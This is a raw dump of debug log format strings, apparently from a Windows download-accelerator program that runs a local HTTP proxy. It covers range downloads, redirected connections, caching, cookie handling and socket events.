[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download request not accelerated !!!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Request queue is empty!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Starting the download sequence

[FileDownloadMgr::DownloadRequest] FDM=%d - Going To Download the Request

[FileDownloadMgr::DownloadRequest] FDM=%d ___Warning FDM_State: %d - Cannot initiate a new download, try again later...

[FileDownloadMgr::DownloadRequest] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No new requests where started ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- The cache manager finished writing ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No more active workers ---

[FileDownloadMgr::Work] FDM=%d - Exit thread now...

[FileDownloadMgr::Work] FDM=%d - ### Closing FDM - No more active Workers, Connections & Requests ###

[FileDownloadMgr::Work] FDM=%d - Thread was stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d ___Error Thread should be stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (command) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Cache manager not finished (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Done Caching - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Thread was created (FDM_State: %d)

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- No new requests where started ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- The cache manager finished writing (STATE_FINISHED ==> FDM_COMPLETE_DOWNLOADING) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error --- The cache manager failed writing the buffer. Going to stop the FDM (STATE_STOPPED) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NO_JOBS_TO_RECOVER

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d *** Stop Download - Not watching video ***

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Exit command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The cache manager was stopped, Going to stop the FDM (STATE_STOPPED)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - calling to stop UI notification

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NO_JOBS_TO_RECOVER - Try to download next range (MaxConnections: %d)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Resume Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Buffer switched, send COMMAND_JOB_FINISHED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Using cache & complete writing

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The Peer is ready to be written into.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Connection Closed command was set - NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Connection Closed command was set - NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Started command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Added command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Abort Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Start Accelerate command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Stop Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[HttpProxyRemote - %p] FDM=%d (%d).

[~HttpProxyRemote - %p] FDM=%d (%d).

[HttpProxyRemote::SetCookies] FDM=%d (%d),Req:%d - Cookies: %s

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Range: %lld-%lld was updated

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - New Range: %lld-%lld

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d ___Error Job info invalid

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error adding the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d socket %d - add the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error IRedirectController = NULL

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: The function getpeername failed, LE: %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error binding to the socket %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the current status is %s.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Worker was stopped.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Stopping Worker...

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Request was written to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Going to write request to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[HttpProxyRemote::GetFlvDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d. Header Analize not complete - Accumulated: %d

[HttpProxyRemote::ReconnectReset] ___Error FDM=%d (%d),Req:%d - Invalid JobInfo

[HttpProxyRemote::ReconnectReset] FDM=%d (%d),Req:%d - Bytes Downloaded: %lld, Bytes Written: %lld

[HttpProxyRemote::CloseSocket] FDM=%d (%d),Req:%d - socket %d - close: %d

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** Going to delete the previous socket %d ***.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d ___Warning Cannot empty buffer from socket !!!.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** ReConnecting to the domain ***.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (CONNECT request)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request. (status is %s).

HttpProxyRemote::WriteCachedBufferToSocket

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning invalid job info

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error connecting to IP %s:%d. LE:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connected to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connecting to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error invalid socket object

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d *** Going to initialize a new socket ***.

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error Resolving IP: %s. The function SafeGetHostByName falied.

HttpProxyRemote::ConnectToDomain

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - *** Already connected to IP %s:%d *** (Reused)

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d - Worker Finished !

[HttpProxyRemote::Finish] FDM=%d (%d),Req:%d - Worker finished downloading it's range.

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Remote: %s: %d, socket %d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d ___Error IAsyncSocket invalid

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Connect Time: %d ms (3G: %d)

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d

[HttpProxyRemote::SocketWasClosed] Remote: %s:%d, socket %d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - DownloadState:%d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - SocketReadyToReadFrom

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d

[HttpProxyRemote::GetDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d - Need to accumulate more data...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (DATA) ***. (wrote %lld data bytes).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the data

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Shift Socket Buffer ->>>- Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d - *** Validate Continuousness with next job ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker was stopped...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - FileDownloadMgr written: %d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The Data size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data bytes where discarded.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes for padding.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes where discarded.

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d *** Job Data not consistent after Recconnect ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send (accumulate data header).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no available data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching to DATA state (%d bytes)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (HEADER) ***.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Switching to DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Ignoring 1xx Response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the header

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Header was already downloaded

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by FDM (Redirected: %d)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the new header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser ParseHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser Initialize

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpHeader BuildHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Response header was changed

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error The header is invalid - switch to PassThrough mode!

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning Header is incomplete

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Response)

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Request)

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function BuildHeader field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - GetCookie: %s

HTTP/1.1

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function SetRanges field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error ParseHeader

HttpProxyRemote::UpdateRequest

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - Redirected: %d

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateRequest failed.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d *** ReStarting the job ***.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateDomainName %s failed.

[HttpProxyRemote::ReStartCurrentJob]

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error - Reached max redirections: %d

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The error was not handled.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Worker Status was set to WORKER_STATUS_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Job State was set to JOB_STATE_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - network error is Permanent !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - reached Maximum errors !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Network Error severity: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d, JobState:%d ___Error - range download flag is %d, m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d - Completed !

[HttpProxyRemote::UpdateParameters] ___Error invalid job or request

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d - Already connected

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: socket is not ready for writing.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: worker is not ready for download - State: %s

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Already Connected to IP:%s.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Error: The function UpdateParameters failed.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Starting %lld-%lld (size: %lld)

HttpProxyRemote::StartJob

[HttpProxyRemote::StartRecoveredJob] FDM=%d (%d),Req:%d

[RequestInfo::DownloadAccelerated] Req:%d - Accelerate: %d

[RequestInfo::SetPassThrough] Req:%d - ON

[RequestInfo] Req:%d

[~RequestInfo] Req:%d

https:

%s=%s%s%s

[HttpCookieJar::GetCookie] Removing cookie: %s

[HttpCookieJar::SetCookies] Removing cookie: %s

[NetworkEventsSink::RefreshSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::RefreshAsyncSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::ClearSocketMessages] Messages: %d

[NetworkEventsSink::Find] socket %d - was found.

[NetworkEventsSink::Find] socket %d

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was removed from the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was not found in the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d

[NetworkEventsSink::WindowProc] Finished %s (%d) on socket %d. Err: %d

[NetworkEventsSink::WindowProc] ___Error %s occured (event %x) on socket %d

[NetworkEventsSink::WindowProc] *** %s occured on socket %d, Err: %d.

UNSUPPORTED_EVENT

[NetworkEventsSink::Work] ___Error creating a windows. LE: %d.

[NetworkEventsSink::Work] The class %s was register.

[NetworkEventsSink::Work] ___Error register the class %s. LE: %d

[NetworkEventsSink::RemoveSocket] socket %d - Removed from events sink.

[NetworkEventsSink::RemoveSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveSocket] ___Error WSAAsyncSelect on socket %d. LE: %d.

[NetworkEventsSink::RemoveAsyncSocket] socket %d - Removed from events sink

[NetworkEventsSink::RemoveAsyncSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddToSocketsMap] ___Warning - socket %d already exists in sockets map.

[NetworkEventsSink::AddToSocketsMap] socket %d - was added to sockets map.

[NetworkEventsSink::AddSocket] socket %d - Added events sink.

[NetworkEventsSink::AddSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddSocket] ___Error adding socket %d to sockets map.

[NetworkEventsSink::AddAsyncSocket] socket %d - Added to events sink

[NetworkEventsSink::AddAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddAsyncSocket] ___Error adding socket %d to sockets map.

[CNetworkInterfaceManager::GetNumberOfInterfaces] Count: %d

[CNetworkInterfaceManager::RegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::GetCellularInterfaceAddress] %s - %s

[CNetworkInterfaceManager::GetWifiInterfaceAddress] %s - %s

[CNetworkInterfaceManager::UnRegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::VerifyInterface] Network Interface: %s

[CNetworkInterfaceManager::UpdateLocalIPs] Total: %d

[CNetworkInterfaceManager::UpdateLocalIPs] LocalHost IP: %s

[CHttpCacheManager::Cleanup] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::CreateCacheData] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::FindCacheData] Url: %s

Cookie: %s

[CHttpCacheManager::DestroyCacheData] Url: %s

[CHttpCacheManager::StopAllCaching] Try to stop - CD:%d, Domain: %s

[CHttpCacheManager::StopAllCaching]

[CHttpCacheManager::Work] ...Leave

[CHttpCacheManager::Work] Cleanup - LastAccess: %d, LastCleanup: %d, Interval: %d -> %d

[CHttpCacheManager::Work] Enter...

[AsyncSocket::Listen] ___Error listening on socket %d. LE: %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d -> %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected or invalid.

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected. ret: %d, LE: %d

[AsyncSocket::Read] socket %d, Read: %d, Total: %lld

[AsyncSocket::Read] ___Warning - socket %d can't read from yet.

[AsyncSocket::Read] ___Error reading from socket %d. LE: %d

[AsyncSocket::Read] ___Warning - socket %d is not ready to read from.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld. (BytesWrittenSinceLastSecond: %d)

[AsyncSocket::Write] ___Error - socket %d. LE: %d.

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing. LE: WSAEWOULDBLOCK.

[AsyncSocket::Write] ___Warning - socket %d. LE: WSAENOBUFS, reducing buffer size...

[AsyncSocket::Write] ___Error - socket %d failed writing for %d seconds !!!

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing (wait for FD_WRITE event).

[AsyncSocket::Write] ___Error - socket %d invalid.

[AsyncSocket::SetSockName] socket %d, IP: %s, Port: %u

%u.%u.%u.%u

[AsyncSocket::SetPeerName] socket %d, IP: %s, Port: %u

[AsyncSocket::SetMaximumBPSToWrite] socket %d - Max Bps: %d

[AsyncSocket::EnumNetworkEvents] socket %d - Events: %X, Signaled: %X

[AsyncSocket::Ioctl] socket %d, cmd: %d, argp: %p, pOverlapped: %p

[AsyncSocket::GetOverlappedResult] socket %d

[AsyncSocket] socket %d

[AsyncSocket::Initialize] socket %d was initialized.

[AsyncSocket::Initialize] ___Error registering on the network events for socket %d.

[AsyncSocket::Initialize] socket %d - changed SO_SNDBUF: %d

[AsyncSocket::Initialize] socket %d - SO_SNDBUF: %d

[AsyncSocket::UnInitialize] socket %d

[AsyncSocket::Close] socket %d, do nothing

[AsyncSocket::Close] socket %d ___Error RemoveIgnoredConnection

[AsyncSocket::Close] socket %d

[~AsyncSocket] socket %d

[AsyncSocket::Bind] ___Error binding socket %d to port: %u. LE: %d

[AsyncSocket::Bind] new socket %d - %s : %d

[AsyncSocket::Bind] socket %d - %s : %d

[AsyncSocket::Connect] socket %d - connected !

[AsyncSocket::Connect] ___Warning socket %d - Async connecting... LE: %d

[AsyncSocket::Connect] ___Error socket %d, LE: %d

[AsyncSocket::Connect] socket %d - Already connected !

[AsyncSocket::Connect] ___Error socket %d - Already connected to another IP: %s, Port: %u

[AsyncSocket::Connect] socket %d - IP: %s, Port: %u

[CProxyServerPassThrough::SocketReadyToWriteInto] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasConnected] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d) - SocketReadyToReadFrom

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d)

[CProxyServerPassThrough::ErrorOnSocket] FDM=%d (%d)

[CProxyServerPassThrough] FDM=%d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error adding port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) socket %d - going to add port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error GetSockName, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error binding socket %d, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - After writing %d bytes into upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Going to write the %d bytes into the upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Read %d bytes from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) ___Error connecting, LE: %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connected to %s : %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connecting to %s : %d

[HttpProxyServer::ConnectToServer] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error getting the destination details. Local: %s:%d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) - Local: %s:%d, Remote: %s:%d, PID: %d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error GetDestinationIpAndPort

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error getting the connected IP and Port

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error ConnectToServer

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) - Going to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error not enough memory to allocate ProxyPeer.

[SubjectDataProperty::Serialize] ___Error not supported yet

[SubjectDataProperty::Deserialize] ___Error not supported yet

m_PropertyValue.pszValue

m_PropertyValue.pValue

[SubjectDataProperty::GetValue(int)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(UINT)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(DWORD)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(char*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[SubjectDataProperty::GetValue(BYTE*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[CacheManager::GetCacheWriter] FDM=%d, Dummy - CacheWriter: %p

[CacheManager::GetCacheWriter] FDM=%d, Real - CacheWriter: %p

[CacheManager::Pause] FDM=%d

[CacheManager::Resume] FDM=%d

[CacheManager::SetCacheData] FDM=%d - CD:%d (pICacheData: %p)

[CacheManager::SetFileDownloadMgr] FDM=%d - pIFileDownloadMgr: %p, DownloadSize: %lld

